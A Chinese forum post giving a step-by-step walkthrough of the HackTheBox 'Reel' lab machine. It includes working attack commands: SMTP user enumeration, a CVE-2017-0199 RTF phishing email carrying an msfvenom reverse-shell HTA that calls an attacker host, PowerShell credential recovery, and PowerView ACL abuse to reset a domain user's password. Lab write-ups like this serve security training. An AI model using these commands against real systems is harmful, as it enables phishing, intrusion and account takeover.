电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 675 人浏览分享

HTB靶机渗透系列之Reel

[复制链接]
675 0
Reel是一个困难的靶机,知识点涉及smtp用户名枚举、rtf邮件钓鱼、xml凭据恢复、管理员组添加等感兴趣
的同学可以在HackTheBox中进行学习。

1667914269_636a5a1d62f487710e728.png

通关思维导图

1667914271_636a5a1fb9e13a146c015.png

0x01 侦查

端口探测

首先通过nmap对目标进行端口扫描

nmap -Pn -p- -sV -sC -A 10.10.10.77 -oA nmap_Reel

9998.png

扫描结果显示目标开放了21、22、25端口

21端口

利用匿名登录漏洞可直接登陆目标 FTP 服务

ftp 10.10.10.77

## 账号/密码:anonymous/anonymous

9997.png

9996.png

ftp信息收集

进入documents目录并尝试下载所有文件

ftp > cd documents
ftp > ls
ftp > get readme.txt
ftp > get AppLocker.docx
ftp > get "Windows Event Forwarding.docx"

9995.png

9994.png

经翻译后三个文件内容分别如下:

AppLocker.docx:要记录的 AppLocker 程序 - exe、msi 和脚本(ps1、vbs、cmd、bat、js)的哈希规则有效
readme.txt:请给我发电子邮件任何 rtf 格式程序 - 我会审查和转换。新格式/转换后的文件将保存在这里
Windows Event Forwarding.docx:记录了日志转发命令
使用 exiftool 分别查看元数据,在文档Windows Event Forwarding.docx中发
现邮箱地址nico@megabank.com

exiftool "Windows Event Forwarding.docx"

9993.png

0x02 上线[nico]

smtp用户名枚举

目标存在 smtp 服务,因此可尝试通过用户枚举来获取邮箱用户。枚举 smtp 用户存在以下三种模式:

VERY:验证邮箱是否存在
EXPN:验证邮箱列表是否存在
RCPT TO:指定收件人地址

手动枚举
验证发现的邮箱账户nico@megabank.com,使用vrfy、expn命令查询该账户失败

telnet 10.10.10.77 25
> HELO
> HELO mac
> VRFY nico@megabank.com
> EXPN nico@megabank.com

9991.png

而使用rcpt to命令验证显示该账户存在

> mali from a@abc.com
> rcpt to:nico@megabank.com
> rcpt to:root@aaa.com
> rcpt to:a@megabank.com
> rcpt to:root@megabank.com

9990.png

自动枚举
使用自动化的 SMTP 用户名枚举工具能够极大地提升效率,当然前提是要存在相应的字典文件,通过对nico
@htb、@megabank这几个关键变量进行变形后构造用户名字典user.txt如下:

reel
administrator
admin
root
reel@htb
reel@htb.local
reel@reel.htb
administrator@htb
admin@htb
root@htb
sadfasdfasdfasdf@htb
nico@megabank.com
htb@metabank.com

使用 smtp-user-enum 对用户名仅需部分自动枚举,结果显示只有@htb账户和目标邮箱账户
nico@megabank.com都存在。

smtp-user-enum -M RCPT -U user.txt -t 10.10.10.77

9989.png

邮件钓鱼

在readme.txt中提示可发送 rtf 格式的文件,而利用 rtf 可执行 RCE 漏洞(CVE-2017-0199)
漏洞详细利用步骤如下:

1、向目标用户发送恶意的 rtf 文件
2、在易受攻击的 word 版本中打开该文件将导致代码执行,恶意代码存在于 olelink 对象中
3、当打开文档后 winword.exe 会向远程服务器发送 http 请求以检索恶意的 HTA 文件
4、收到响应的则是一个带有恶意脚本的假的 rtf 文件,winword.exe 通过 COM 对象查找
application/hta 的文件处理程序
5、导致 Microsoft HTA 应用程序(mshta.exe)下载并执行包含 Powershell 命令的 Visual Basic 脚本

简单来说就是向目标发送带有恶意 rtf 的邮件,用户一旦打开 rtf 文件后就会加载远程的恶意 hta文件处
理程序并执行相应命令。

生成恶意hta文件

使用 msf 生成 hta 类型的反弹shell木马

msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.17 lport=2222 -f hta-psh -o msfv.hta

9988.png

生成请求恶意hta的rtf文件

使用 github 上的漏洞利用工具来生成 rtf 文件,该工具的相关命令参数如下:

工具地址:https://github.com/bhdresh/CVE-2017-0199

11121.png

成功生成用于请求远程 hta 程序的 rtf 文件

python cve-2017-0199_toolkit.py -M gen -w mac.rtf -u http://10.10.14.17/msfv.hta -t rtf -x 0

8899.png

使用 python 开启 http 服务

python -m SimpleHTTPServer 80
同时监听 2222 端口用于接收反弹shell

nc -nvlp 2222

发送邮件获取权限

通过 sendemail 向目标邮件账户发送带有恶意 rtf 文件的邮件,等待用户打开邮件

sendEmail -f mac@megabank.com -t nico@megabank.com -u "Invoice Attached" -m "You
are overdue payment" -a mac.rtf -s 10.10.10.77 -v

8898.png

过一段时间后成功拿到反弹shell

8896.png

在当前用户桌面上成功拿到第一个flag

dir c:\Users\nico\Desktop

type c:\Users\nico\Desktop\user.txt

8893.png

msf利用

当然也可以使用 MSF 来完成以上操作

msfconsole
msf > use exploit/windows/fileformat/office_word_hta
msf > set lhost 10.10.14.17
msf > set lport 4444
msf > set srvhost 10.10.14.17
msf > run

8882.png

向目标用户发送钓鱼邮件

sendEmail -f mac@megabank.com -t nico@megabank.com -u "Invoice Attached" -m "You are
overdue payment" -a /root/.msf4/local/msf.doc -s 10.10.10.77 -v

8881.png

成功收到 meterpreter

8880.png

0x03 权限提升[tom]

凭据恢复

在当前用户桌面上发现敏感文件cred.xml,该文件是 PSCredential 对象当中Export-CliXml方法输出的
XML文档,而 PSCredential 对象在 Powershell 中主要用于存储用户名、密码和凭据

type c:\Users\nico\Desktop\cred.xml

6669.png

使用 PSCredential 对象中的Import-CliXml方法导入该文件,调用GetNetworkCredential方法可从中直接
提取明文密码,成功拿到账号密码Tom/1ts-mag1c!!!

powershell -c "$cred = Import-CliXml -Path c:\Users\nico\Desktop\cred.xml;$cr
ed.GetNetworkCredential() | Format-List *"

6668.png

ssh登录

使用拿到的账号密码登录目标 SSH 服务

ssh tom@10.10.10.77

6667.png

进入该用户桌面后在AD Audit\BloodHound\Ingestors目录中找到acls.csv文件

cd "C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors"
dir

6666.png

0x04 权限提升[claire]

csv信息收集

在本地搭建 SMB 服务用于文件传输

python3 smbserver.py mac ~/hackthebox/Machines/Reel

669.png

利用 SMB 协议下载该文件到本地

copy acls.csv \\10.10.14.17\mac

668.png

打开 csv 表格文件后发现其中包含了域中各个用户以及用户组之间的关系

667.png

经搜索后发现当前用户tom对用户claire拥有WriteOwner权限

666.png

用户claire又对Backup_Admins组对象拥有WriteDacl权限,因此拥有用户tom的权限就可以控制用户claire
并最终拿到Backup_Admins用户组权限

400.png

BloodHound表格分析

BloodHound 可对大型域环境进行分析并将其可视化输出,如果未安装可使用以下命令进行安装

apt install bloodhound

安装完后开启 neo4j 数据库,如果出现以下报错

399.png

出现报错创建log目录和对应日志neo4j.log

mkdir /usr/share/neo4j/logs

touch /usr/share/neo4j/logs/neo4j.log

再次开启 neo4j 数据库

neo4j start

398.png

使用默认账号密码登录 BloodHound

username: neo4j

password: neo4j

396.png

首次登录需要重新设置密码。在其中上传数据可寻找域内各个用户、用户组的对应关系

200.png

修改claire用户密码

导入 PowerSploit 中的powerview.ps1

powershell //切换到powershell命令行

. .\PowerView.ps1 //将PowerView导入

把当前用户tom设置为claire用户的 ACL 的所有者并授予其修改密码的权限

Set-DomainObjectOwner -identity claire -OwnerIdentity tom
Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword

设置claire的密码为MagicMac123!@#

$cred = ConvertTo-SecureString "MagicMac123!@#" -AsPlainText -force

Set-DomainUserPassword -identity claire -accountpassword $cred

199.png

ssh登陆

使用重新设置的密码登录用户claire

ssh claire@10.10.10.17

198.png

查看backup_admins组成员,目前该组中只有ranj用户

net group backup_admins

196.png

成功将claire用户添加到backup_admins用户组下,不过需重新登录,否则无法生效

net group backup_admins claire /add

net group backup_admins

189.png

0x05 权限提升[administrator]

信息收集

查看当前用户对管理员目录c:\users\administrator的权限,发现Backup_Admins组对管理
员目录拥有访问权限

icalcs Administrator

188.png

因此可直接查看管理员用户桌面中的文件,成功发现第二个 flag

cd c:\Users\Administrator\Desktop

ls

187.png

但尝试查看root.txt却被拒绝

type root.txt

186.png

管理员登陆

在备份目录Backup Scripts中遍历密码,成功找到管理员密码Cr4ckMeIfYouC4n!

cd "Back Scripts"

type * | findstr pass

185.png

通过该密码可成功登录管理员并拿到第二个flag

ssh administrator@10.10.10.77

184.png

0x06 总结

Reel 译为卷轴,它是目前唯一一个需要三次提权的靶机。通过信息收集发现目标存在 FTP 匿名登录漏洞 利用该漏洞登录
FTP 后下载其中的文件,分析 Word 文档的源数据时成功找到一个邮箱账户nico@megabank.com,经 SMTP 用户名枚
举验证后可知该邮箱账户存在,与此同时 FTP 中的文件还提示可接受 rtf 格式的邮件,因此可将带有恶意 rtf 的钓鱼邮件
发送给该邮箱账户。

等待受害者点击后可成功获取用户nico的权限。在该用户桌面上发现用户tom的账号密码凭据,但其中的密码为密文借助
GetNetworkCredential 方法可恢复为密码明文。有了tom的密码后就能够以tom的身份登陆ssh,搜索后发现在该用户
桌面上存在反映域内用户与用户组关系的表格,其中显示用户tom对用户claire拥有WriteOwner权限,而用户claire对
Backup_Admins组拥有WriteDacl权限。

利用 PowerView 工具可配合用户tom的权限修改用户claire密码,使用修改后的密码可成功登录用户claire,登陆成功后将
当前用户添加至Backup_Admins用户组当中,而该用户组拥有管理员桌面的访问权限,尝试读取 flag 信息失败,但可读取
备份目录中的管理员密码,并最终使用该密码登陆管理员成功。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.